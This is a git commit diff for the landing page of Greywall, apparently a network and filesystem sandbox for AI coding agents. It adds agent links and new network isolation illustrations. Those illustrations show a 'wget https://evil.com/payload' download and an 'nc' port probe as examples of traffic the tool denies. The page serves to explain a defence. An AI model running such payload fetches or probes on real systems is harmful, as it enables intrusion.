monadical/greywall-landing-page
13
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat: small improvements

Browse Source
This commit is contained in:
Nik L
2026-03-09 13:50:23 -04:00
parent 4a1d666ee2
commit 15368fc0bd
5 changed files with 95 additions and 92 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
app/page.tsx
View File

@@ -19,8 +19,8 @@ export default function Home() {
<Hero /> <Hero />
<Agents /> <Agents />
<Problem /> <Problem />
<Layers />
<Observability /> <Observability />
<Layers />
<Control /> <Control />
<Comparison /> <Comparison />
<Footer /> <Footer />

31
components/agents.tsx
View File

@@ -1,16 +1,16 @@
import { CheckCircle2 } from 'lucide-react' import { CheckCircle2 } from 'lucide-react'
const agents = [ const agents = [
{ name: 'Claude Code', org: 'anthropics' }, { name: 'Claude Code', org: 'anthropics', url: 'https://docs.anthropic.com/en/docs/claude-code' },
{ name: 'Codex', org: 'openai' }, { name: 'Codex', org: 'openai', url: 'https://github.com/openai/codex' },
{ name: 'Cursor', org: 'getcursor' }, { name: 'Cursor', org: 'getcursor', url: 'https://cursor.com' },
{ name: 'Aider', org: 'Aider-AI' }, { name: 'Aider', org: 'Aider-AI', url: 'https://aider.chat' },
{ name: 'Goose', org: 'block' }, { name: 'Goose', org: 'block', url: 'https://github.com/block/goose' },
{ name: 'Amp', org: 'sourcegraph' }, { name: 'Amp', org: 'sourcegraph', url: 'https://ampcode.com' },
{ name: 'Gemini CLI', org: 'google-gemini' }, { name: 'Gemini CLI', org: 'google-gemini', url: 'https://github.com/google-gemini/gemini-cli' },
{ name: 'Cline', org: 'cline' }, { name: 'Cline', org: 'cline', url: 'https://cline.bot' },
{ name: 'OpenCode', org: 'nicepkg' }, { name: 'OpenCode', org: 'nicepkg', url: 'https://opencode.ai/' },
{ name: 'Copilot', org: 'github' }, { name: 'Copilot', org: 'github', url: 'https://github.com/features/copilot' },
] ]
export function Agents() { export function Agents() {
@@ -35,9 +35,12 @@ export function Agents() {
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3"> <div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3">
{agents.map((agent) => ( {agents.map((agent) => (
<div <a
key={agent.name} key={agent.name}
className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all" href={agent.url}
target="_blank"
rel="noopener noreferrer"
className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
> >
<img <img
src={`https://github.com/${agent.org}.png?size=64`} src={`https://github.com/${agent.org}.png?size=64`}
@@ -46,10 +49,10 @@ export function Agents() {
height={28} height={28}
className="rounded-md shrink-0 bg-muted" className="rounded-md shrink-0 bg-muted"
/> />
<span className="text-sm font-sans font-medium text-foreground truncate"> <span className="text-sm font-sans font-medium text-foreground group-hover:text-primary truncate transition-colors">
{agent.name} {agent.name}
</span> </span>
</div> </a>
))} ))}
</div> </div>
</div> </div>

7
components/comparison.tsx
View File

@@ -41,13 +41,6 @@ const rows: Row[] = [
claudeSandbox: 'yes', claudeSandbox: 'yes',
containers: 'yes', containers: 'yes',
}, },
{
feature: 'Transparent network capture',
greywall: 'Linux',
safehouse: 'no',
claudeSandbox: 'no',
containers: 'no',
},
{ {
feature: 'Command blocking', feature: 'Command blocking',
greywall: 'yes', greywall: 'yes',

118
components/control.tsx
View File

@@ -91,67 +91,81 @@ export function Control() {
<h3 className="font-sans font-semibold text-sm">Network isolation</h3> <h3 className="font-sans font-semibold text-sm">Network isolation</h3>
</div> </div>
{platform === 'linux' ? ( {platform === 'linux' ? (
<div className="space-y-3 text-sm font-serif"> <div className="space-y-4">
<div className="flex items-start gap-3"> <div className="code-block p-4">
<div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" /> <div className="text-xs text-muted-foreground mb-2 font-sans uppercase tracking-wider">
<p className="text-muted-foreground"> Network namespace + TUN capture
<span className="text-foreground">Full network namespace isolation</span> — the
sandboxed process cannot see the host network at all.
</p>
</div> </div>
<div className="flex items-start gap-3"> <div className="font-mono text-xs space-y-1">
<div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" /> <div><span className="text-muted-foreground">bwrap</span> <span className="text-primary/80">--unshare-net</span> <span className="text-muted-foreground">\ </span></div>
<p className="text-muted-foreground"> <div className="ml-4"><span className="text-muted-foreground">tun2socks -device tun0 \</span></div>
<span className="text-foreground">TUN device captures every packet</span> at the <div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
kernel — even binaries that ignore proxy env vars.
</p>
</div> </div>
<div className="flex items-start gap-3">
<div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
<p className="text-muted-foreground">
<span className="text-foreground">Domain-level filtering</span> via GreyProxy.
Allow specific domains, block everything else — adjustable live.
</p>
</div> </div>
<div className="flex items-start gap-3"> <div className="space-y-2 font-mono text-xs">
<div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" /> <div className="flex items-center justify-between py-1.5 border-b border-border/20">
<p className="text-muted-foreground"> <span className="text-greyhaven-offwhite">curl https://api.anthropic.com</span>
<span className="text-foreground">DNS bridging</span> — transparent DNS relay <span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
ensures name resolution works inside the sandbox.
</p>
</div> </div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">npm install lodash</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
</div>
<div className="flex items-center justify-between py-1.5">
<span className="text-greyhaven-offwhite">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
Full network namespace isolation — the process can&apos;t see the host network.
Every packet hits the TUN device and routes through GreyProxy, including
binaries that ignore proxy env vars.
</p>
</div> </div>
) : ( ) : (
<div className="space-y-3 text-sm font-serif"> <div className="space-y-4">
<div className="flex items-start gap-3"> <div className="code-block p-4">
<div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" /> <div className="text-xs text-muted-foreground mb-2 font-sans uppercase tracking-wider">
<p className="text-muted-foreground"> Generated Seatbelt policy
<span className="text-foreground">Seatbelt network rules</span> block all outbound
connections except to the proxy address.
</p>
</div> </div>
<div className="flex items-start gap-3"> <div className="font-mono text-xs space-y-1">
<div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" /> <div className="text-red-400/70">(deny default)</div>
<p className="text-muted-foreground"> <div className="text-muted-foreground">(deny network-outbound)</div>
<span className="text-foreground">Proxy-based routing</span> via env vars. Traffic <div className="text-green-400/70">
from proxy-aware tools is filtered through GreyProxy. (allow network-outbound
</p>
</div> </div>
<div className="flex items-start gap-3"> <div className="text-green-400/70 ml-4">
<div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" /> (remote tcp &quot;localhost:43051&quot;))
<p className="text-muted-foreground">
<span className="text-foreground">Domain-level filtering</span> — allow npm
registry and API hosts, block everything else.
</p>
</div> </div>
<div className="flex items-start gap-3">
<div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
<p className="text-muted-foreground">
<span className="text-foreground">Localhost control</span> — separate config for
port binding and local service access.
</p>
</div> </div>
</div> </div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px]">KERNEL DENY</span>
</div>
<div className="flex items-center justify-between py-1.5">
<span className="text-greyhaven-offwhite">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px]">PROXY DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
All outbound traffic is blocked at the kernel. Only the proxy address is
reachable — GreyProxy then applies domain-level allow/deny rules.
</p>
</div>
)} )}
</div> </div>
@@ -203,7 +217,7 @@ export function Control() {
<div> <div>
<span className="text-muted-foreground">$ </span> <span className="text-muted-foreground">$ </span>
<span className="text-greyhaven-offwhite"> <span className="text-greyhaven-offwhite">
{platform === 'linux' ? 'greywall --learning -- claude' : 'sudo greywall --learning -- claude'} greywall --learning -- claude
</span> </span>
</div> </div>
<div className="text-muted-foreground mt-2"> <div className="text-muted-foreground mt-2">
@@ -227,7 +241,7 @@ export function Control() {
<p className="text-xs text-muted-foreground font-serif leading-relaxed"> <p className="text-xs text-muted-foreground font-serif leading-relaxed">
{platform === 'linux' {platform === 'linux'
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.' ? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
: 'Uses macOS Endpoint Security (eslogger) to trace access. Requires sudo for the trace, but the agent runs as your user. Generates a template automatically.'} : 'Uses macOS Endpoint Security (eslogger) to trace access. Auto-generates a least-privilege template from observed paths.'}
</p> </p>
</div> </div>
</div> </div>

21
components/observability.tsx
View File

@@ -1,11 +1,6 @@
'use client'
import { Eye, Activity, ShieldQuestion, Zap } from 'lucide-react' import { Eye, Activity, ShieldQuestion, Zap } from 'lucide-react'
import { usePlatform } from './platform-toggle'
export function Observability() { export function Observability() {
const [platform] = usePlatform()
return ( return (
<section className="py-24 px-6 border-t border-border/30"> <section className="py-24 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl"> <div className="mx-auto max-w-5xl">
@@ -26,20 +21,18 @@ export function Observability() {
</p> </p>
</div> </div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-6"> <div className="grid grid-cols-1 md:grid-cols-2 gap-6 items-stretch">
{/* Monitor mode */} {/* Monitor mode */}
<div className="space-y-4"> <div className="flex flex-col gap-4">
<div className="flex items-center gap-3"> <div className="flex items-center gap-3">
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary"> <div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
<Activity className="h-4 w-4" /> <Activity className="h-4 w-4" />
</div> </div>
<h3 className="font-sans font-semibold text-sm"> <h3 className="font-sans font-semibold text-sm">Real-time violation monitor</h3>
{platform === 'linux' ? 'eBPF violation tracing' : 'Log stream monitoring'}
</h3>
</div> </div>
<div className="code-block p-4"> <div className="code-block p-4 flex-1">
<div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider"> <div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
{platform === 'linux' ? 'Real-time syscall tracing' : 'Session-tagged violation stream'} Live violation stream
</div> </div>
<div className="space-y-1.5 font-mono text-xs"> <div className="space-y-1.5 font-mono text-xs">
<div> <div>
@@ -76,14 +69,14 @@ export function Observability() {
</div> </div>
{/* GreyProxy screenshot */} {/* GreyProxy screenshot */}
<div className="space-y-4"> <div className="flex flex-col gap-4">
<div className="flex items-center gap-3"> <div className="flex items-center gap-3">
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary"> <div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
<Eye className="h-4 w-4" /> <Eye className="h-4 w-4" />
</div> </div>
<h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3> <h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
</div> </div>
<div className="rounded-lg border border-border/40 overflow-hidden"> <div className="rounded-lg border border-border/40 overflow-hidden flex-1 flex items-center bg-card/30">
<img <img
src="/greyproxy.png" src="/greyproxy.png"
alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls" alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"